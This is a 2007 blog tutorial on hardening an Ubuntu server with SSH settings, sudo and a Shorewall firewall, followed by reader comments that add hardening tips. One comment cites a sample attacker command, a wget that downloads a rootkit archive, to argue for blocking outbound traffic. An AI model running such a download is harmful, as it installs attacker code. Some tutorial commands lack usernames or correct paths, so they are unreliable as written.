Securing Your Ubuntu Server
February 1st, 2007
Improving the security of your fresh VPS or dedicated server running Ubuntu should be your first real task to accomplish. Having it done, you'll have less trouble later on keeping script kiddies off your server. Follow the instructions below to improve your SSH security and set up a simple firewall.
Ready, steady, go!
All the tasks were performed on my Ubuntu 6.06-based VPS from Slicehost, but they should be easily replicable on any other server running Ubuntu or similar, Debian-derived distro.
Improve SSH Security
Steps up to Disable SSH root access may not be necessary if you have root account disabled already (plain Ubuntu install should have). Follow them if your hosting provider uses a custom Ubuntu setup (Slicehost does).
First step is changing your default root password.
matid@local:~$ ssh root@server
root@server's password:
root@server:~# passwd
Choose a hard-to-guess password and keep it save just for maintenance - you shouldn't be using it more than once.
OK - let's create an administrative user we'll use to manage our server:
root@server:~# adduser --ingroup users
You'll be asked for password and some other, optional data. Please keep in mind that it's the account you'll use frequently, so having a strong password is a must.
Now we need to assign it necessary privileges (we won't use root account anymore).
root@server:~# visudo
A text editor (nano, not vim - don't worry) will pop up. Add the following line at the end to give your user root privileges:
ALL=(ALL) ALL
You should now check if you can use sudo with your brand new account:
root@server:~# exit
matid@local:~$ ssh server
matid@server's password:
matid@server:~$ sudo cat /etc/shadow
If you see roughly 20 lines of text from /etc/shadow everything is going smoothly.
Disable SSH root access
Now let's disable SSH root access by editing /etc/ssh/sshd_config, finding a PermitRootLogin line and changing it from yes to no. You can also change your Port from 22 to a different one - it should keep off some script kiddies and bots for a while.
Now restart SSH daemon and start feeling a bit more secure:
matid@server:~$ sudo invoke-rc.d ssh restart
Setting up a Firewall
This is also a very important step - it can save you from various hacking attempts in the future, and - it's not as hard as it may seem:
matid@server:~$ sudo apt-get install shorewall
After a while we have an iptables-based firewall ready for tweaking. Configuration files are located in /etc/shorewall and as access to this directory is denied for a normal user, we'll use administrative shell to avoid typing sudo all the time:
matid@server:~$ sudo -i
Password:
root@server:~# cd /etc/shorewall
We'll now copy some default files from /usr/share/:
root@server:/etc/shorewall# cp /usr/share/doc/default-config/interfaces .
root@server:/etc/shorewall# cp /usr/share/doc/default-config/policy .
root@server:/etc/shorewall# cp /usr/share/doc/default-config/rules .
root@server:/etc/shorewall# cp /usr/share/doc/default-config/zones .
We have to specify our network interface in /etc/shorewall/interfaces, so open it with your favourite editor and add the following line at the bottom:
net eth0 detect
Let's also add a default zone to /etc/shorewall/zones by appending this line:
net ipv4
OK, here comes the security - edit /etc/shorewall/policy and block all remote access by adding these lines to the end of the file:
fw net ACCEPT
net all DROP info
all all REJECT info
These settings will allow all outgoing transfer, drop all packages coming from outside and reject all that's left. Yet, this will also lock SSH connections, leaving us in trouble, so let us take care of /etc/shorewall/rules file:
ACCEPT net fw tcp 22 # Replace 22 with your SSH port if you changed it before
If you're planning to run WWW server you have to add:
ACCEPT net fw tcp 80
As you can see, adding custom rules is not that difficult at all. The last thing to do before actually starting our firewall is editing /etc/default/shorewall, and replacing:
startup=0
with
startup=1
Our simple firewall is now ready to start with:
matid@server:~$ sudo invoke-rc.d shorewall start
After completing these simple steps you have a secure Ubuntu server up and running. Don't forget about upgrading it frequently and enjoy!
11 Responses to “Securing Your Ubuntu Server”
Sorry, comments are closed for this article.
February 1st, 2007 at 11:53 PM
I think it is a bad idea to change the root password, since by default Ubuntu doesn’t have any (’*’ in /etc/shadow). So by default nobody can log in as root with a password, whereas if you set it someone can try to su to root.
February 2nd, 2007 at 12:02 AM
IMHO it’s better to not enable “sudo” for your normal user, but use “su -” and the root user instead. This way, if your “normal user” does get compromised it cannot get abused for doing things which only root can do (by using sudo).
February 2nd, 2007 at 12:03 AM
SliceHost enabled root account be default, and hence my instructions on disabling it. Anyway, as you’ve noticed, adding an notice that it may not be necessary is a good idea.
February 2nd, 2007 at 12:08 AM
Daniel: It really depends on what your attitude towards sudo is – some consider it safer than using root account and some not. Actually, both should be quite safe if you disable disable ssh root access. I’ll also add a paragraph about certificate-based login, which also should be good for your server’s sake.
February 2nd, 2007 at 12:29 AM
Hi! If you’re interested and knowledgeable about server security, you might be interested in reviewing or contributing to the Ubuntu Server Guide:
http://doc.ubuntu.com/ubuntu/serverguide/C/index.html
Have a read, and have a look at https://wiki.ubuntu.com/DocumentationTeam if you’re interested in contributing!!
February 2nd, 2007 at 08:43 AM
sudo -s is a bad idea, if you are in your own $HOME, it has a tendency to create root owned files because it keeps your environment instead of reading root’s environment. sudo -i is the proper way of doing that.
Also, root ssh login is ok as long as you disable password authentication. As a matter of fact, key based authentication is infinitely more secure than a password (unless you have 1024+ bit passwords).
Something you forgot… Enabling sshd to only accept protocol 2 ssh traffic. The sshv1 protocol is completely suceptible to man-in-the-middle attacks and deemed insecure by the powers that be. Protocol 2
You might also take a look at a script I wrote to secure Ubuntu but note that it doesn’t install ssh or “secure” it. However, it does do a bit of hardening and some of the ideas from it might help this post. http://www.digitalprognosis.com/opensource/scripts/lockdown-ubuntu.sh.txt
Good post btw, we need more security related info to go out to the less seasoned Linux crowd.
February 2nd, 2007 at 11:25 AM
Hi, The other way of being paranoid and protecting yourself script kiddies is to disable outgoing traffic too. Why would the server need it. Then open maybe smtp for the sever to send, and whatever outgoing connections it needs
In particular only allow http to your apt repositories and whatever other minor known sites. This prevents the script in the event of a brute force or whatever doing a wget http://site.com/rootkit.tar.bz2 automatically.
Yes if the account is forced they can pretty much disable stuff like this, but the scripts won’t be able to without intervention, and maybe the script just forced regular access and needs to break into root using the download. Stopping this can minimise the damage.
February 2nd, 2007 at 02:47 PM
Jeff: You’re right about sudo -s, I modified the article to suggest sudo -i instead. And you don’t have to disable SSH1 traffic – it’s done by default.
February 2nd, 2007 at 06:16 PM
Also I would recommend to install “fail2ban”.
Very nice tool
February 2nd, 2007 at 09:50 PM
Thanks for the great post. I used this to fortify my dad’s PC. With your instruction to copy the config files in your post, you forgot to put shorewall between /usr/share/doc and default-config.
February 2nd, 2007 at 10:41 PM
nicolas: Glad my post was helpful and thanks for pointing out a typo. Now I have to look up how to fix it without this entry topping Ubuntu Planet again :)